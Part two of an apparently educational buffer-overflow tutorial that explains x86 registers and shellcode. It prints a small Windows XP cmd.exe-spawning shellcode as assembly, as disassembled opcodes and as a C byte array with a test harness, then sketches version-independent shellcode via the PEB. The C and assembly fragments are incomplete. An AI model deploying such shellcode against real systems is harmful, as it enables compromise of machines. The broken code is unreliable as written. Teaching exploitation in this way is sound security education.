Welcome back, in part 1 we talked about the definition of the buffer overflows and how they can occur, also we talked about memory and its relations to buffer overflow. In this part we are continuing our series talking about Registers and Shellcodes.
Processors contain memory known as registers. These registers are very small and are used for very fast processing. Registers can be thought of as variables for assembly. Registers are classified according to the functions they perform. High level registers can be categorised in four sections
- General purpose
Registers EAX, EBX, ECX, EDX, ESI and EDI are used for general purpose variables such as mathematical operations and hold data for an operation. These are 32 bit registers on a 32 bit processor. The 16 bit registers for EAX, EBX, ECX and EDX are known as AX, BX, CX and DX. Finally 8 bit registers are known as AL, BL, CL and DL which are the low order bits. High order bits are known as AH, BH, CH and DH. These 16 and 8 bit registers exist for backwards compatibility and are very useful when producing smaller shellcode. The "E" means extended to address the full 32-bit registers.
Below lists the purpose of these registers
- EAX accumulator register
- EBX base register
- ECX count register
- EDX data register
- ESI source index register
- EDI destination index register
- EBP base pointer register
- ESP stack pointer register
Registers ESP and EBP are also general purpose registers. ESP (extended stack pointer) is used to point to the top of the stack and the EBP (extended base pointer) is used to point to base of the stack. Registers ESP, EBP, ESI and EDI are also classed as offset registers as they hold offset addresses.
Segment registers CS, DS, ES, FS, GS and SS are 16 bit registers and are used track of segments such as pointers to the code, stack, etc and allow backwards compatibility with 16 bit applications. The EIP register (extended instruction pointer) is a control register. This register is the most important register as having the ability to write to this register will let you control the flow of execution.
Finally the EFL register (extended flags) fall under the “other” section and is used to store various test results. The general purpose registers and control register are the main registers we need to be aware of as these are used in writing our exploits.
A shellcode is a small piece of code used as the payload in the exploitation of software vulnerability. It is known as shellcode because it typically starts a command shell from which the attacker can control the compromised machine. Shellcode is commonly written in machine code, but any piece of code that performs a similar task can be called shellcode. This machine code is pushed into memory where normally a buffer overflow vulnerability will take advantage of this code and execute it. Machine codes pushed into memory are assembly language instructions represented in hexadecimal values.
For shellcode to work there are a few hurdles we must overcome. Below are the characteristics for producing shellcode.
- It has to be small because generally there is a limit to the buffer the attacker can inject code into.
- Cannot have any null bytes (0x00) as certain C functions will terminate code as the null byte is a string delimiter.
- Written in assembly and then converted to hexadecimal which is the shellcode.
- Architecture specific: shellcode produced for windows operating systems will not work for Linux operating systems.
While null bytes must not be in shellcode there are other delimiters like linefeed (0x0A), carriage return (0x0D), and many others depending on how the programmer wrote the program. We will find out about this when writing exploit code, for example certain vulnerabilities can only be exploited by sending lowercase alphabetic shellcode. Below is an example of a simple assembly code:
; XPSP2 System() and Exit() addresses taken on 26th May 2008
mov byte [ebp-08h],63h
mov byte [ebp-07h],6Dh
mov byte [ebp-06h],64h
mov byte [ebp-05h],2Eh
mov byte [ebp-04h],65h
mov byte [ebp-03h],78h
mov byte [ebp-02h],65h
mov eax, 0x77c293c7
The assembly code can be assembled and disassembled using the Netwide Assembler tool. To assemble the command is:
c:\>nasmw -f bin -o cmdshell.bin cmdshell.asm
To disassemble the command is:
c:\>ndisasmw cmdshell.bin -b 32
The output we will see when disassembled is shown below:
00000000 55 push ebp
00000001 89E5 mov ebp,esp
00000003 31FF xor edi,edi
00000005 57 push edi
00000006 81EC04000000 sub esp,0x4
0000000C C645F863 mov byte [ebp-0x8],0x63
00000010 C645F96D mov byte [ebp-0x7],0x6d
00000014 C645FA64 mov byte [ebp-0x6],0x64
00000018 C645FB2E mov byte [ebp-0x5],0x2e
0000001C C645FC65 mov byte [ebp-0x4],0x65
00000020 C645FD78 mov byte [ebp-0x3],0x78
00000024 C645FE65 mov byte [ebp-0x2],0x65
00000028 B8C793C277 mov eax,0x77c293c7
0000002D 50 push eax
0000002E 8D45F8 lea eax,[ebp-0x8]
00000031 50 push eax
00000032 FF55F4 call near [ebp-0xc]
00000035 55 push ebp
00000036 89E5 mov ebp,esp
00000038 BA7E9EC377 mov edx,0x77c39e7e
0000003D 52 push edx
0000003E FF55FC call near [ebp-0x4]
The opcodes can then be taken and put together to produce shellcode which can then be used in our C code as shown below. Opcode stands for operation code and are the hexadecimal values as highlighted above in bold.
signed char cmdshell =
0x55, 0x89, 0xe5, 0x31, 0xff, 0x57, 0x81, 0xec, 0x04, 0x00,
0x00, 0x00, 0xc6, 0x45, 0xf8, 0x63, 0xc6, 0x45, 0xf9, 0x6d,
0xc6, 0x45, 0xfa, 0x64, 0xc6, 0x45, 0xfb, 0x2e, 0xc6, 0x45,
0xfc, 0x65, 0xc6, 0x45, 0xfd, 0x78, 0xc6, 0x45, 0xfe, 0x65,
0xb8, 0xc7, 0x93, 0xc2, 0x77, 0x50, 0x8d, 0x45, 0xf8, 0x50,
0xff, 0x55, 0xf4, 0x55, 0x89, 0xe5, 0xba, 0x7e, 0x9e, 0xc3,
0x77, 0x52, 0xff, 0x55, 0xfc
int main(int argc, char *argv)
void(*sc)() = (void *)cmdshell;
printf("\nShellcode size is: %d bytes\n",sizeof(cmdshell));
printf("\nRunning shellcode . . .\n\n");
We can see that our shellcode has got nulls in it but when exploiting for real all nulls plus other characters such as 0x0a 0x20 0x22 etc. will need to be removed.
Using hard coded addresses for our shellcode will be very small and can be very useful for limited buffer sizes but this has its problems. When attacking a system different versions of the OS will have different addresses of functions so hard coded shellcode is not ideal. Therefore shellcode needs to be written that is reliable and reusable. Windows stores a pointer to the process environment block at a known location: FS: [0x30]. That plus 0xC is the load order module list pointer. Now, we have a linked list of modules we can traverse to look for kernel32.dll. From that we can find LoadLibraryA() and GetProcAddress() which will allow us to load any needed DLLs and find the addresses of any other needed functions. This technique will produce version independent shellcode but produces a harder shellcode. Shellcode can now range from 300 to 800 bytes depending on the functionality. If the above shellcode was produced using this technique the size would jump from 65 bytes to 160 bytes.
for shellcode writing guide I suggest you to read 'The Shellcoder's Handbook: Discovering and Exploiting Security Holes'
to be continued in the next parts,
by Anwar Mohamed